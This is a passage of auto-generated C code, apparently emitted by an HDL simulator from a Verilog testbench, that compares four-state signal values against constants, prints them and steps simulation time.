= t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB26; LAB27: LAB28: goto LAB17; LAB20: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB21; LAB22: *((unsigned int *)t50) = 1; goto LAB25; LAB24: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB25; LAB26: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB28; LAB29: *((unsigned int *)t90) = 1; goto LAB32; LAB31: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB32; LAB33: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng2))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB39; LAB36: if (t116 != 0) goto LAB38; LAB37: *((unsigned int *)t104) = 1; LAB39: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB40; LAB41: if (*((unsigned int *)t121) != 0) goto LAB42; LAB43: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB44; LAB45: LAB46: goto LAB35; LAB38: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB39; LAB40: *((unsigned int *)t120) = 1; goto LAB43; LAB42: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB43; LAB44: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB46; LAB47: xsi_set_current_line(33, ng0); xsi_vlogfile_write(1, 0, 0, ng4, 1, t0); goto LAB49; LAB51: xsi_set_current_line(43, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB55; LAB52: if (t16 != 0) goto LAB54; LAB53: *((unsigned int *)t4) = 1; LAB55: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB56; LAB57: if (*((unsigned int *)t21) != 0) goto LAB58; LAB59: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB60; LAB61: memcpy(t58, t20, 8); LAB62: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB74; LAB75: if (*((unsigned int *)t91) != 0) goto LAB76; LAB77: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB78; LAB79: memcpy(t128, t90, 8); LAB80: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB92; LAB93: xsi_set_current_line(45, ng0); LAB95: xsi_set_current_line(46, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(47, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(48, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(49, ng0); xsi_vlogfile_write(1, 0, 0, ng13, 1, t0); LAB94: xsi_set_current_line(53, ng0); t2 = ((char*)((ng14))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(53, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB96; goto LAB1; LAB54: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB55; LAB56: *((unsigned int *)t20) = 1; goto LAB59; LAB58: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB59; LAB60: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng10))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB66; LAB63: if (t46 != 0) goto LAB65; LAB64: *((unsigned int *)t34) = 1; LAB66: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB67; LAB68: if (*((unsigned int *)t51) != 0) goto LAB69; LAB70: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB71; LAB72: LAB73: goto LAB62; LAB65: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB66; LAB67: *((unsigned int *)t50) = 1; goto LAB70; LAB69: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB70; LAB71: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB73; LAB74: *((unsigned int *)t90) = 1; goto LAB77; LAB76: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB77; LAB78: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng11))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB84; LAB81: if (t116 != 0) goto LAB83; LAB82: *((unsigned int *)t104) = 1; LAB84: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB85; LAB86: if (*((unsigned int *)t121) != 0) goto LAB87; LAB88: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB89; LAB90: LAB91: goto LAB80; LAB83: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB84; LAB85: *((unsigned int *)t120) = 1; goto LAB88; LAB87: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB88; LAB89: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB91; LAB92: xsi_set_current_line(44, ng0); xsi_vlogfile_write(1, 0, 0, ng12, 1, t0); goto LAB94; LAB96: xsi_set_current_line(54, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng2))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB100; LAB97: if (t16 != 0) goto LAB99; LAB98: *((unsigned int *)t4) = 1; LAB100: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB101; LAB102: if (*((unsigned int *)t21) != 0) goto LAB103; LAB104: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB105; LAB106: memcpy(t58, t20, 8); LAB107: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB119; LAB120: if (*((unsigned int *)t91) != 0) goto LAB121; LAB122: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB123; LAB124: memcpy(t128, t90, 8); LAB125: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB137; LAB138: xsi_set_current_line(56, ng0); LAB140: xsi_set_current_line(57, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(58, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(59, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(60, ng0); xsi_vlogfile_write(1, 0, 0, ng18, 1, t0); LAB139: xsi_set_current_line(64, ng0); t2 = ((char*)((ng19))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(64, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB141; goto LAB1; LAB99: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB100; LAB101: *((unsigned int *)t20) = 1; goto LAB104; LAB103: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB104; LAB105: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng15))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB111; LAB108: if (t46 != 0) goto LAB110; LAB109: *((unsigned int *)t34) = 1; LAB111: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB112; LAB113: if (*((unsigned int *)t51) != 0) goto LAB114; LAB115: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB116; LAB117: LAB118: goto LAB107; LAB110: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB111; LAB112: *((unsigned int *)t50) = 1; goto LAB115; LAB114: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB115; LAB116: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB118; LAB119: *((unsigned int *)t90) = 1; goto LAB122; LAB121: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB122; LAB123: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng16))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB129; LAB126: if (t116 != 0) goto LAB128; LAB127: *((unsigned int *)t104) = 1; LAB129: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB130; LAB131: if (*((unsigned int *)t121) != 0) goto LAB132; LAB133: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB134; LAB135: LAB136: goto LAB125; LAB128: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB129; LAB130: *((unsigned int *)t120) = 1; goto LAB133; LAB132: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB133; LAB134: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB136; LAB137: xsi_set_current_line(55, ng0); xsi_vlogfile_write(1, 0, 0, ng17, 1, t0); goto LAB139; LAB141: xsi_set_current_line(65, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng2))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB145; LAB142: if (t16 != 0) goto LAB144; LAB143: *((unsigned int *)t4) = 1; LAB145: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB146; LAB147: if (*((unsigned int *)t21) != 0) goto LAB148; LAB149: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB150; LAB151: memcpy(t58, t20, 8); LAB152: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB164; LAB165: if (*((unsigned int *)t91) != 0) goto LAB166; LAB167: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB168; LAB169: memcpy(t128, t90, 8); LAB170: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB182; LAB183: xsi_set_current_line(67, ng0); LAB185: xsi_set_current_line(69, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(70, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(71, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(72, ng0); xsi_vlogfile_write(1, 0, 0, ng21, 1, t0); LAB184: xsi_set_current_line(76, ng0); t2 = ((char*)((ng22))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(76, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB186; goto LAB1; LAB144: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB145; LAB146: *((unsigned int *)t20) = 1; goto LAB149; LAB148: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB149; LAB150: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng15))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB156; LAB153: if (t46 != 0) goto LAB155; LAB154: *((unsigned int *)t34) = 1; LAB156: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB157; LAB158: if (*((unsigned int *)t51) != 0) goto LAB159; LAB160: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB161; LAB162: LAB163: goto LAB152; LAB155: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB156; LAB157: *((unsigned int *)t50) = 1; goto LAB160; LAB159: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB160; LAB161: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB163; LAB164: *((unsigned int *)t90) = 1; goto LAB167; LAB166: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB167; LAB168: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng11))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB174; LAB171: if (t116 != 0) goto LAB173; LAB172: *((unsigned int *)t104) = 1; LAB174: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB175; LAB176: if (*((unsigned int *)t121) != 0) goto LAB177; LAB178: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB179; LAB180: LAB181: goto LAB170; LAB173: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB174; LAB175: *((unsigned int *)t120) = 1; goto LAB178; LAB177: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB178; LAB179: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB181; LAB182: xsi_set_current_line(66, ng0); xsi_vlogfile_write(1, 0, 0, ng20, 1, t0); goto LAB184; LAB186: xsi_set_current_line(77, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB190; LAB187: if (t16 != 0) goto LAB189; LAB188: *((unsigned int *)t4) = 1; LAB190: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB191; LAB192: if (*((unsigned int *)t21) != 0) goto LAB193; LAB194: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB195; LAB196: memcpy(t58, t20, 8); LAB197: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB209; LAB210: if (*((unsigned int *)t91) != 0) goto LAB211; LAB212: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB213; LAB214: memcpy(t128, t90, 8); LAB215: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 